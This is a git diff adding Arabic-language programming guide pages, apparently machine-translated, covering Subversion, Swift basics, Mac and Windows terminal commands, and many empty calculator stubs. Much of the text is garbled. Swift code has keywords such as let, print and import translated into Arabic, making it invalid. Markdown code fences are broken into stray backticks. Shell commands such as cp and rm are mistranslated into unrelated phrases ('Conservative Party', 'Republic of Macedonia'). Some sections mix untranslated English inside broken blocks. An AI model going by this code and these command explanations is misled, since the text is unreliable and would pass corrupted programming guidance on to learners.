diff --git a/client/src/guide/arabic/svn/index.md b/client/src/guide/arabic/svn/index.md
new file mode 100644
index 0000000000..b5cfe8d050
--- /dev/null
+++ b/client/src/guide/arabic/svn/index.md
@@ -0,0 +1,9 @@
+---
+title: Apache Subversion
+localeTitle: Apache Subversion
+---
+## Apache Subversion
+
+Apache Subversion هو نظام للتحكم في إصدار وتجميع البرامج يتم توزيعه كمصدر مفتوح تحت [ترخيص Apache](https://en.wikipedia.org/wiki/Apache_License) . يتم استخدامه للحفاظ على الإصدارات الحالية والتاريخية من الملفات مثل شفرة المصدر وصفحات الويب والوثائق.
+
+للتنزيلات والتوثيق ، قم بزيارة [الموقع الرسمي Apache Subversion](https://subversion.apache.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/comments/index.md b/client/src/guide/arabic/swift/comments/index.md
new file mode 100644
index 0000000000..487b93e5e1
--- /dev/null
+++ b/client/src/guide/arabic/swift/comments/index.md
@@ -0,0 +1,26 @@
+---
+title: Comments
+localeTitle: تعليقات
+---
+## تعليقات
+
+تسمح لك التعليقات بتوثيق شفرتك. يتم تجاهل التعليقات بواسطة مترجم Swift ، وتكون مفيدة فقط للأشخاص الذين يقرأون قاعدة الكود.
+
+تبدأ التعليقات ذات سطر واحد بشريحتين مائلتين `//` .
+
+#### مثال:
+
+ `    // Hello, single-line comment! 
+` 
+
+تبدأ التعليقات متعددة الخطوط بخط مائل متبوع بعلامة النجمة `/*` وتنتهي بعلامة نجمية متبوعة بشرطة مائلة للأمام `*/`
+
+#### مثال:
+
+ `   /* Hello, 
+   multiline-line comment! */ 
+` 
+
+#### معلومات اكثر:
+
+*   [لغة البرمجة سويفت](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID315)
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/constants/index.md b/client/src/guide/arabic/swift/constants/index.md
new file mode 100644
index 0000000000..cbfe68cd90
--- /dev/null
+++ b/client/src/guide/arabic/swift/constants/index.md
@@ -0,0 +1,22 @@
+---
+title: Constants
+localeTitle: الثوابت
+---
+## الثوابت
+
+تربط ثابتة اسمًا بقيمة من نوع معين.
+
+#### مثال:
+
+ `let name = "Chris Lattner" 
+` 
+
+قمت بتعريف الثوابت مع `let` الكلمة ثم إعطائه اسما `name` ثم كنت تستخدم عامل التعيين `=` لتعيين قيمة `"Chris Lattner"` إلى ثابت `name` .
+
+وبمجرد الانتهاء من أعلن ثابت لا تحتاج إلى استخدام `let` الكلمة بعد الآن أنت فقط يطلق عليه اسمها.
+
+لا يمكن تغيير قيمة الثابت بعد تعيينه.
+
+#### معلومات اكثر:
+
+*   [لغة البرمجة سويفت](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID310)
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/functions/index.md b/client/src/guide/arabic/swift/functions/index.md
new file mode 100644
index 0000000000..6df69d6d91
--- /dev/null
+++ b/client/src/guide/arabic/swift/functions/index.md
@@ -0,0 +1,15 @@
+---
+title: Functions
+localeTitle: المهام
+---
+## المهام
+
+تتكون الدوال في Swift من معلمة ونوع الإرجاع. يمكن إنشاء الوظائف باستخدام هذه البنية الأساسية: \`\` \`سويفت func sayHello (nameOfPerson: String) -> String { دع hello = "مرحبًا ،" + nameOfPerson + "." طباعة (مرحبا) }
+
+sayHello (الاسم الأول: الرقم: "Steve") ` `` In this example, the function sayHello takes in a string name and prints out the phrase` "Hello، Steve.".
+
+## معلمات الدالة
+
+لا تتطلب وظائف أي معلمات إدخال أو أنواع الإرجاع. لكن هذا يتطلب الأقواس بعد تسمية الوظائف. \`\` \`سويفت func helloSteve () { طباعة ("مرحبا ، ستيف.") }
+
+helloSteve () // هذا يطبع "مرحبا ، ستيف." \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/hello-world/index.md b/client/src/guide/arabic/swift/hello-world/index.md
new file mode 100644
index 0000000000..4756d4d744
--- /dev/null
+++ b/client/src/guide/arabic/swift/hello-world/index.md
@@ -0,0 +1,26 @@
+---
+title: Hello World Swift
+localeTitle: مرحبا العالم سويفت
+---
+\## مرحبا بالعالم
+
+فقط علينا إضافة طريقة `print("Hello World")` (من المكتبة UIKit) إلى وظيفة `viewDidLoad()` للفئة \`ViewController:
+
+\`\` \`سويفت استيراد UIKit
+
+class ViewController: UIViewController {
+
+ `override func viewDidLoad() { 
+    super.viewDidLoad() 
+    // Do any additional setup after loading the view, typically from a nib. 
+ 
+    print("Hello World") 
+ 
+ } 
+` 
+
+} \`\` \`
+
+\## انتاج: \`\` \`
+
+> مرحبا بالعالم \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/index.md b/client/src/guide/arabic/swift/index.md
new file mode 100644
index 0000000000..738937691f
--- /dev/null
+++ b/client/src/guide/arabic/swift/index.md
@@ -0,0 +1,63 @@
+---
+title: Swift
+localeTitle: سريع
+---
+![شعار سويفت](https://developer.apple.com/assets/elements/icons/swift-playgrounds/swift-playgrounds-64x64_2x.png)
+
+# ما هو سويفت؟
+
+Swift هي لغة برمجة [مفتوحة المصدر](https://en.wikipedia.org/wiki/Open-source_software) وعامة الغرض طورتها Apple Inc.
+
+> Swift هي لغة برمجة قوية وسهلة الاستخدام لأجهزة MacOS و iOS و watchOS و tvOS. كتابة كود سويفت هو تفاعلي وممتع ، والبناء هو موجزة بعد معبرة ، وسويفت تشمل ميزات مطوري الميزات الحديثة الحب. رمز Swift آمن حسب التصميم ، ولكنه ينتج أيضًا برنامجًا يعمل بسرعة فائقة. 1
+
+هل ترغب في تجربة Swift الآن؟ يوفر [Repl.it](https://repl.it/languages/swift) حلقة قراءة - Eval-Print عبر الإنترنت لـ Swift. لن تتمكن من الوصول إلى UIKit أو واجهات برمجة التطبيقات الأخرى الشائعة الاستخدام ، ولكن يمكنك تصويرها!
+
+# مبادئ
+
+للإعلان عن متغير في Swift ، ببساطة استخدم var متبوعًا باسم المتغير الخاص بك.
+
+ `var x = 6 
+ var name = "Bob" 
+ var boole = true 
+ 
+ x = 3 
+` 
+
+تشبه الثوابت المتغيرات ، لكنها لا يمكن أن تتغير في القيمة بعد الإنشاء.
+
+ `let x = 6 
+ let name = "Bob" 
+ let boole = true 
+` 
+
+لطباعة أي شيء إلى الإخراج القياسي ، ما عليك سوى استخدام print () ووضع الإخراج في الأقواس.
+
+ `let x = "World" 
+ 
+ print("Hello ") 
+ print(x) 
+` 
+
+# الإصدار
+
+أحدث إصدار هو [Swift 4.2](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/RevisionHistory.html) ، الذي تم إصداره في 17 سبتمبر 2018. يتطور Swift باستمرار ، ويمكنك توقع المزيد من التغييرات في المستقبل. من المستحسن استخدام أحدث إصدار من Swift عند بدء مشروع جديد.
+
+# كابل بيانات
+
+سويفت موثقة بشكل كبير. ضع في اعتبارك أن كود الترميز لا يتضمن فقط باستخدام اللغة ، ولكن أيضًا العديد من واجهات برمجة التطبيقات. أفضل طريقة لتعلم Swift هو جعل مشروع أو تطبيق ، مهما كانت صغيرة!
+
+*   [مصدر الرمز](https://github.com/apple/swift)
+    
+*   [تطوير تطبيقات iOS (سويفت)](https://developer.apple.com/library/content/referencelibrary/GettingStarted/DevelopiOSAppsSwift/) : هل ترغب في جعل تطبيقات iOS؟ إنه مكان مدهش كبداية.
+    
+*   [دليل اللغة](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/) : يحتوي على نظرة عامة حول كل ميزة في Swift. إذا شعرت بالحيرة عند قراءة رمز شخص آخر ، يمكن أن يساعدك هذا المستند.
+    
+
+# تريد معرفة المزيد؟
+
+*   [RayWenderlich.com](https://www.raywenderlich.com/) : يحتوي على العديد من البرامج التعليمية الرائعة لتطوير Swift و iOS.
+*   [القرصنة مع Swift](https://www.hackingwithswift.com/read) : برنامج تعليمي كامل سريع ، يأخذك من مبتدئ إلى متقدم باستخدام مشاريع التدريب العملي.
+
+### مصادر
+
+1.  "Swift 4 - لغة البرمجة القوية التي يسهل تعلمها أيضًا." Apple، [developer.apple.com/swift](https://developer.apple.com/swift/) ، Accessed 31 Oct. 2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/type-inference/index.md b/client/src/guide/arabic/swift/type-inference/index.md
new file mode 100644
index 0000000000..3b88b219c4
--- /dev/null
+++ b/client/src/guide/arabic/swift/type-inference/index.md
@@ -0,0 +1,27 @@
+---
+title: Type Inference
+localeTitle: اكتب الاستدلال
+---
+## اكتب الاستدلال
+
+يستخدم Swift استنتاج نوع. لذا ، إذا كتبت بعض الرموز مثل الكود في المثال أدناه ، فسيكون من الواضح نوع كل نوع.
+
+#### مثال:
+
+ `    let iPhone: String = “iPhone” 
+    let yearIntroduced: Int = 2007 
+    let isAwesome: Bool = true 
+` 
+
+حتى نتمكن من تنظيف الشفرة لتبدو مثل المثال أدناه ، ويمكن لـ Swift أن يستنتج نوع الاستخدام.
+
+#### مثال:
+
+ `    let iPhone = “iPhone”       // Inferred as String 
+    let yearIntroduced = 2007   // Inferred as Int 
+    let isAwesome = true        // Inferred as Bool 
+` 
+
+#### معلومات اكثر:
+
+*   [لغة البرمجة سويفت](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID322)
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/variables/index.md b/client/src/guide/arabic/swift/variables/index.md
new file mode 100644
index 0000000000..a6e12aa434
--- /dev/null
+++ b/client/src/guide/arabic/swift/variables/index.md
@@ -0,0 +1,38 @@
+---
+title: Variables
+localeTitle: المتغيرات
+---
+## المتغيرات
+
+يربط متغير اسمًا بقيمة من نوع معين. في Swift هناك طريقتان رئيسيتان لإنشاء المتغيرات. `let` `var` . للإعلان الثوابت استخدام `let` الكلمة. لإعلان متغيرات قابلة للتغيير ، استخدم الكلمة الرئيسية `var` .
+
+الفائدة من وجود طريقتين لتخزين المتغيرات في سويفت هو منع أخطاء المتغيرات المتغيرة التي يجب أن تكون ثابتة.
+
+\`\` \`سويفت دعونا daysInAWeek = 7 var amountOfMoney = 100
+
+amountOfMoney = 150 // amountOfMoney الآن 150
+
+daysInAWeek = 10 // هذا يعطينا خطأ!
+
+\`\` \`
+
+في هذه الحالة ، يجب أن يكون `daysInAWeek` المتغير ثابتًا لأنه لا يوجد سوى سبعة أيام في الأسبوع ، في حين أن `amountOfMoney` المتغيرة لـ `amountOfMoney` يجب أن تكون var لأن مقدار المال في حساب الحساب يتغير.
+
+يمكن أن تحتوي الأسماء الثابتة والمتغيرة على أي حرف تقريبًا ، بما في ذلك أحرف Unicode:
+
+ `  let π = 3.14159 
+  let 你好 = "你好世界" 
+  let 🐶🐮 = "dogcow" 
+` 
+
+لاختبار ما إذا كانت المتغيرات تحتوي على القيمة الصحيحة ، استخدم `print()` .
+
+ `  let money = 50 
+ 
+  print(money) 
+  // This prints 50 
+` 
+
+#### معلومات اكثر:
+
+*   [لغة البرمجة سويفت](https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#ID310)
\ No newline at end of file
diff --git a/client/src/guide/arabic/swift/view-controller/index.md b/client/src/guide/arabic/swift/view-controller/index.md
new file mode 100644
index 0000000000..625db06966
--- /dev/null
+++ b/client/src/guide/arabic/swift/view-controller/index.md
@@ -0,0 +1,16 @@
+---
+title: View Controllers
+localeTitle: عرض وحدات تحكم
+---
+## عرض وحدات تحكم
+
+هذا مثال لما تبدو عليه النظرة الأساسية في سويفت.
+
+\`\` \`سويفت استيراد UIKit
+
+class ViewController: UIViewController { // 1 تجاوز func viewDidLoad () { // 2 super.viewDidLoad () // 3 view.backgroundColor = .white }  
+} \`\` \`
+
+1.  عرض الأحمال بعد تحميل وحدة التحكم.
+2.  يتجاوز فئة UIViewController. هذه خطوة ضرورية لأي وحدة تحكم في طريقة العرض.
+3.  لتعيين لون الخلفية إلى الأبيض.
\ No newline at end of file
diff --git a/client/src/guide/arabic/terminal-commandline/index.md b/client/src/guide/arabic/terminal-commandline/index.md
new file mode 100644
index 0000000000..53d8ab02c6
--- /dev/null
+++ b/client/src/guide/arabic/terminal-commandline/index.md
@@ -0,0 +1,5 @@
+---
+title: Terminal/Command Prompt
+localeTitle: محطة / موجه الأوامر
+---
+# محطة / موجه الأوامر
\ No newline at end of file
diff --git a/client/src/guide/arabic/terminal-commandline/macos-terminal/index.md b/client/src/guide/arabic/terminal-commandline/macos-terminal/index.md
new file mode 100644
index 0000000000..e5a8158e29
--- /dev/null
+++ b/client/src/guide/arabic/terminal-commandline/macos-terminal/index.md
@@ -0,0 +1,62 @@
+---
+title: Mac OS Terminal
+localeTitle: Mac OS Terminal
+---
+# باستخدام المحطة الطرفية في نظام التشغيل Mac OS
+
+معظم الوقت يتفاعل المستخدمون من خلال واجهة المستخدم الرسومية للتفاعل مع الكمبيوتر. يمكنك استخدام الماوس للإشارة والنقر لفتح أو نقل أو إنشاء ملفات جديدة أو فتح التطبيقات. ولكن ، يمكنك أيضًا استخدام التطبيق الطرفي للتفاعل مع جهازك من خلال الأوامر المكتوبة. عندما تستخدم الجهاز ، فإنه يسمح لك بحفر أعمق وتخصيصه بطريقة غير ممكنة من خلال واجهة المستخدم الرسومية.
+
+### فتح المحطة والملاحة الدلائل
+
+المحطة الطرفية الخاصة بك موجودة في دليل التطبيقات. افتح تطبيقك في المحطة. يجب أن تشاهد موجه في نافذة المحطة. يكون shoudl له اسم الكمبيوتر (ABC's Macbook) ، يتبعه اسم المستخدم (ABC) ، ثم "$." إذا كنت في الدليل الجذر ، فسيكون الحرف الأخير هو "#."
+
+لمعرفة ما الدليل الذي تعمل فيه ، ما عليك سوى كتابة الأمر
+
+`pwd`
+
+pwd لتقف على "طباعة دليل العمل". الدليل هو كلمة أخرى للمجلد.
+
+إذا كنت تريد إدراج محتويات دليلك ، استخدم الأمر:
+
+`ls`
+
+للتبديل إلى دليل جديد ، يمكنك استخدام الأمر:
+
+`cd`
+
+والتي تقف على تغيير الدليل.
+
+وهنا لائحة من الأوامر المشتركة:
+
+القيادة | استعمال ------------ | ------------- pwd | طباعة دليل العمل (أين أنا؟) ls | قائمة محتويات الدليل الحالي mkdir | قم بإنشاء دليل جديد المس | قم بإنشاء ملف جديد حزب المحافظين | انسخ الملف جمهورية مقدونيا قم بإزالة ملف rm -rf | قم بإزالة دليل
+
+### أمثلة الاستخدام
+
+بعض الأوامر المذكورة أعلاه ليست واضحة دون أمثلة. فيما يلي بعض أمثلة الاستخدام للمساعدة في تزويدك ببعض السياق.
+
+#### صنع دليل
+
+`mkdir #YOUR-NEW-FOLDER-NAME-HERE`
+
+#### صنع ملف
+
+`touch YOUR-FILE-NAME.JS`
+
+يمكنك إنشاء ملف بأي ملحق تختاره. طالما أنه في صيغة مقبولة من قبل المجلد أو الجهاز.
+
+#### نسخ ملف
+
+استخدم بناء الجملة التالي لنسخ ملف من الجهاز:
+
+**_وجهة_ _مصدر_ cp**
+
+على سبيل المثال ، إذا كان لدينا ملف ، _"test.txt"_ تم تخزينه في دليل _/ سطح المكتب الخاص_ بنا ونريد نسخه إلى المجلد _/ Documents_ ، فسيبدو أمرنا كما يلي:
+
+ `cp ~/Desktop/test.txt ~/Documents 
+` 
+
+#### حذف ملف
+
+استخدم بناء الجملة التالي لحذف ملف
+
+**RM _\# PATH_ إلى _ملف_**
\ No newline at end of file
diff --git a/client/src/guide/arabic/terminal-commandline/windows-command-prompt/index.md b/client/src/guide/arabic/terminal-commandline/windows-command-prompt/index.md
new file mode 100644
index 0000000000..821ce9726b
--- /dev/null
+++ b/client/src/guide/arabic/terminal-commandline/windows-command-prompt/index.md
@@ -0,0 +1,60 @@
+---
+title: Windows Command Prompt
+localeTitle: موجه الأوامر ويندوز
+---
# باستخدام موجه الأوامر في ويندوز
+
+يحتوي Windows و MacOS و Linux على واجهات سطر الأوامر. سطر الأوامر الافتراضي لـ Windows هو موجه الأوامر. يسمح موجه الأوامر للمستخدمين باستخدام أجهزة الكمبيوتر الخاصة بهم دون الإشارة والنقر باستخدام الماوس. موجه الأوامر هو شاشة سوداء حيث يكتب المستخدمون الأوامر لاستخدام الكمبيوتر الخاص بهم. نفس المهام التي يمكن القيام بها عن طريق الإشارة والنقر بالماوس يمكن أيضًا تنفيذها باستخدام موجه الأوامر. الفرق هو أن العديد من المهام مثل إنشاء مجلدات وحذف الملفات يمكن القيام بها بشكل أسرع في موجه الأوامر. كما أنه يسمح للمستخدمين بتكوين أجهزة الكمبيوتر الخاصة بهم وتشغيل البرامج التي لا يمكنهم القيام بها عن طريق الإشارة والنقر.
+
+## فتح موجه الأوامر
+
+للوصول إلى موجه الأوامر ، انقر فوق قائمة ابدأ في Windows الموجودة على شريط أدوات سطح المكتب (يمكنك أيضًا الضغط على زر Windows على لوحة المفاتيح) واكتب `cmd` واضغط على `enter` . سيظهر موجه الأوامر ، سيعرض نصًا ما مثل النص التالي: \`\` \` C: \\ المستخدمين \\ هو yourusername>
+
+ ``## Navigating Directories (Moving through folders) 
+ `C:\Users\YourUserName` is called your current working directory (directory is another way to say folder). It is like a street address that tells you where you are on your computer. The current working directory can be a guide as you navigate through your computer. On the right of the `>` we can type `cd`, which stands for Change Directory, and the name of a directory that you want to navigate to. In this case we will type `Documents`. Enter `cd Documents` and your current working directory should look like the following: 
+`` 
+
+C: \\ المستخدمين \\ هو yourusername \\ الوثائق>
+
+ ``To go back one directory type and enter `cd..`. Your current working directory should return to this: 
+`` 
+
+C: \\ المستخدمين \\ هو yourusername>
+
+ ``With the `cd` and `cd ..` commands you can move back and forth through directories. This might seem very basic at first but as you learn more commands the command prompt will become a very useful and efficient tool. 
+ 
+ ## Here is a list of common commands: 
+ | Command | Description  | 
+ |---------|--------------| 
+ |`help`   |Lists commands that can be used| 
+ |  `dir`  |Lists the current directories contents| 
+ |`dir /a` |Shows hidden files| 
+ | `mkdir` |Creates a new directory| 
+ | `rmdir` |Deletes a directory (if empty)| 
+ | `rmdir /s`|Deletes a folder and its contents 
+ | `cls`  |Clears the command prompt screen 
+ | `exit`|Closes the command prompt 
+ 
+ ## Usage Examples: 
+ #### Making a Directory 
+`` 
+
+اسم mkdir _من_ _الدليل_ الذي _تريد_ to\_make
+
+ `#### Getting Info on a Command 
+` 
+
+your\_command /؟
+
+ `#### Deleting a File and Contents 
+` 
+
+جمهورية مقدونيا / ث _اسم_ الدليل _الذي_ _تريد_ حذفه \`\` \`
+
+## نصائح مفيدة:
+
+*   يعرض الأمر `Ipconfig` عنوان IP لجهاز الكمبيوتر الخاص بك
+*   إذا قمت بكتابة جزء من اسم دليل واضغطت على مفتاح `tab` ، فسيقوم موجه الأوامر بإكماله تلقائيًا ، وإذا قمت بضرب مفتاح `tab` بشكل متكرر ، فسوف يتنقل عبر الدلائل التي تبدأ بالحرف نفسه.
+*   يمكنك استخدام قذائف أو أدوات أخرى مثل gause bash أو cmder لإضافة المزيد من الأوامر والوظائف إلى موجه الأوامر
+*   تتطلب بعض المهام منك تشغيل موجه الأوامر كمسؤول تقوم بالنقر فوق زر Windows وكتابة `cmd admin` ثم تضغط مفتاح `enter`
+*   إذا كنت تعرف أن المسار إلى ملف أو دليل يمكنه كتابة `cd PATH_TO_YOUR_DIRECTORY` بدلاً من تغيير الأدلة عدة مرات للوصول إلى دليل أو ملف
+*   عندما تضغط على مفتاح السهم لأعلى ، سيظهر الأمر الذي أدخلته مسبقًا ، وإذا ضربته بشكل متكرر فسوف يتدفق عبر جميع الأوامر التي تم إدخالها مسبقًا
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/401k-calculator/index.md b/client/src/guide/arabic/tools/calculators/401k-calculator/index.md
new file mode 100644
index 0000000000..2b23ae42fa
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/401k-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: 401k Calculator
+localeTitle: 401k حاسبة
+---
+## 401k حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/401k-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/amortization-calculator/index.md b/client/src/guide/arabic/tools/calculators/amortization-calculator/index.md
new file mode 100644
index 0000000000..2af79d7835
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/amortization-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Amortization Calculator
+localeTitle: حاسبة الاستهلاك
+---
+## حاسبة الاستهلاك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/amortization-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/apr-calculator/index.md b/client/src/guide/arabic/tools/calculators/apr-calculator/index.md
new file mode 100644
index 0000000000..d3306bda94
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/apr-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Apr Calculator
+localeTitle: حاسبة أبريل
+---
+## حاسبة أبريل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/apr-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/area-calculator/index.md b/client/src/guide/arabic/tools/calculators/area-calculator/index.md
new file mode 100644
index 0000000000..d3d04095c7
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/area-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Area Calculator
+localeTitle: حاسبة المنطقة
+---
+## حاسبة المنطقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/area-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/auto-lease-calculator/index.md b/client/src/guide/arabic/tools/calculators/auto-lease-calculator/index.md
new file mode 100644
index 0000000000..128342d809
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/auto-lease-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Auto Lease Calculator
+localeTitle: حاسبة التأجير التلقائي
+---
+## حاسبة التأجير التلقائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/auto-lease-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/binary-calculator/index.md b/client/src/guide/arabic/tools/calculators/binary-calculator/index.md
new file mode 100644
index 0000000000..fc93c9bdcc
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/binary-calculator/index.md
@@ -0,0 +1,15 @@
+---
+title: Binary Calculator
+localeTitle: ثنائي حاسبة
+---
+## ثنائي حاسبة
+
+تستخدم آلة حاسبة ثنائية لإجراء عمليات الجمع أو الطرح أو الضرب أو القسمة على رقمين ثنائيين. يمكن أن تقوم الآلة الحاسبة الثنائية أيضًا بتحويل القيم الثنائية إلى قيم عشرية ، والعكس صحيح.
+
+فمثلا: 10101010 + 11001100 = 0101110110 (ثنائي) أو 374 (عشري)
+
+أو ، 10101010 × 11001100 = 01000011101111000 (ثنائي) أو 34680 (عشري)
+
+#### معلومات اكثر:
+
+[آلة حاسبة ثنائية عبر الإنترنت يمكنك تجربتها](http://www.calculator.net/binary-calculator.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/btu-calculator/index.md b/client/src/guide/arabic/tools/calculators/btu-calculator/index.md
new file mode 100644
index 0000000000..add7427aa9
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/btu-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Btu Calculator
+localeTitle: Btu حاسبة
+---
+## Btu حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/btu-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/calorie-calculator/index.md b/client/src/guide/arabic/tools/calculators/calorie-calculator/index.md
new file mode 100644
index 0000000000..3cadee3401
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/calorie-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Calorie Calculator
+localeTitle: حاسبة السعرات الحرارية
+---
+## حاسبة السعرات الحرارية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/calorie-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/circle-calculator/index.md b/client/src/guide/arabic/tools/calculators/circle-calculator/index.md
new file mode 100644
index 0000000000..e4b8b280e1
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/circle-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Circle Calculator
+localeTitle: حاسبة الدائرة
+---
+## حاسبة الدائرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/circle-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/coding-bootcamp-cost-calculator/index.md b/client/src/guide/arabic/tools/calculators/coding-bootcamp-cost-calculator/index.md
new file mode 100644
index 0000000000..6fba918e74
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/coding-bootcamp-cost-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Coding Bootcamp Cost Calculator
+localeTitle: ترميز Bootcamp حاسبة التكلفة
+---
+## ترميز Bootcamp حاسبة التكلفة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/coding-bootcamp-cost-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/combinations-and-permutations-calculator/index.md b/client/src/guide/arabic/tools/calculators/combinations-and-permutations-calculator/index.md
new file mode 100644
index 0000000000..1f7fcb0267
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/combinations-and-permutations-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Combinations and Permutations Calculator
+localeTitle: تركيبات وتقلد حاسبة
+---
+## تركيبات وتقلد حاسبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/combinations-and-permutations-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/complex-number-calculator/index.md b/client/src/guide/arabic/tools/calculators/complex-number-calculator/index.md
new file mode 100644
index 0000000000..0c96e39753
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/complex-number-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Complex Number Calculator
+localeTitle: حاسبة رقم المجمع
+---
+## حاسبة رقم المجمع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/complex-number-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/conception-calculator/index.md b/client/src/guide/arabic/tools/calculators/conception-calculator/index.md
new file mode 100644
index 0000000000..c51cc32d48
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/conception-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Conception Calculator
+localeTitle: حاسبة الحمل
+---
+## حاسبة الحمل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/conception-calculator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/tools/calculators/confidence-interval-calculator/index.md b/client/src/guide/arabic/tools/calculators/confidence-interval-calculator/index.md
new file mode 100644
index 0000000000..949f23463f
--- /dev/null
+++ b/client/src/guide/arabic/tools/calculators/confidence-interval-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Confidence Interval Calculator
+localeTitle: حاسبة الثقة الفاصل
+---
+## حاسبة الثقة الفاصل
+
